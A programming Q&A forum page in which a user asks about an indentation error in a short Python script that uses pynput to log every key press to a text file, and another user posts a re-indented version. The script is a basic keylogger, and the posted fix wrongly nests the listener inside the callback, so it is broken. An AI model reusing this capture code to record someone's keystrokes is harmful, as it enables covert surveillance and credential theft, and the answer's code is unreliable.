I got expected an indented block error

0 votes
from pynput.keyboard import Key, Listener
import logging
log_dir = r"C:/users/rajesh/desktop/"
logging.basicConfig(filename = (log_dir + "keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()
Jun 16, 2020 in Python by anonymous
• 120 points

edited Jun 16, 2020 by MD 1,274 views

Hi, @Tejas,

Could you please post your error logs whatever error statement you are facing? 

1 answer to this question.

0 votes

Hi,

You used one function in your code, but you didn't indent your code inside this function properly. This may be the reason.

from pynput.keyboard import Key, Listener
import logging
log_dir = r"C:/users/rajesh/desktop/"
logging.basicConfig(filename = (log_dir + "keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
def on_press(key):
    logging.info(str(key))
    with Listener(on_press=on_press) as listener:
        listener.join()
answered Jun 16, 2020 by MD
• 95,300 points

Related Questions In Python

0 votes
3 answers

Python error "IndentationError: expected an indented block"

IndentationError:  what is the mean READ MORE

answered Oct 14, 2020 in Python by anonymous
• 140 points
169,066 views
0 votes
1 answer

I've been trying to run this code, but the error says "Expected an indented block" for the line, " word_as_list[index] = guess."

Hi, @Paradox, The error message IndentationError: expected an indented ...READ MORE

answered Nov 21, 2020 in Python by anonymous
• 65,950 points
237 views
0 votes
1 answer

IndentationError: expected an indented block

Hello @ nishit, Indentation means the space from margin to ...READ MORE

answered Aug 10, 2020 in Python by Niroj
• 82,820 points
3,276 views
0 votes
2 answers
+1 vote
2 answers

how can i count the items in a list?

Syntax :            list. count(value) Code: colors = ['red', 'green', ...READ MORE

answered Jul 7, 2019 in Python by Neha
• 330 points

edited Jul 8, 2019 by Kalgi 2,423 views
0 votes
0 answers
0 votes
1 answer

I was written the python program, am getting error message "IndentationError: expected an indented block"

Hi@Thiyagarajan, You have one else block in your ...READ MORE

answered May 27, 2020 in Python by MD
• 95,300 points
2,283 views
0 votes
1 answer

I am trying to install PIL module But I end up with an error :

Hi@Nishant, You can use PILLOW instead of PIL. $ ...READ MORE

answered Apr 6, 2020 in Python by MD
• 95,300 points
12,653 views